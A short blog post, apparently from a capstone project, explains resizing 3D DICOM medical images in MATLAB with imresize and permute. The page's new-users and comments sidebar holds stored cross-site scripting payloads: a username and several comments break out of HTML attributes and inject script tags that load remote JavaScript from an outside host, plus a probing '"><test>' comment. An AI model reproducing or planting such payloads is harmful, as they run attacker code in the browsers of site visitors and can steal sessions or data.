Resizing to unify 3D images


This is a part of my Capstone Research


3D images acquired from each modality is different in size and unit. To register between images from each modality, we need to resize each 3D image according to its three dimentional length.

In dicom information, 'PixelSpacing' is used to acquire x,y units, 'SliceThickness‘ is used to acquire z unit. 

Resize in x-y plane is simple. In matlab, 'imresize' function is used to resize image according to give size, and it automatically fill in missing pixels or filter out extra pixel when resizing to larger or smaller image.

To resize in Z index, I first change x-y-z index to z-y-x using ’permute(MR_scale_xy,[3 2 1])‘, and then resize z-y plane, then permute back.


Full code is available in github resize_mrdsa.m

https://github.com/clatfd/avm/blob/remote/resize_mrdsa.m


Last Article Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39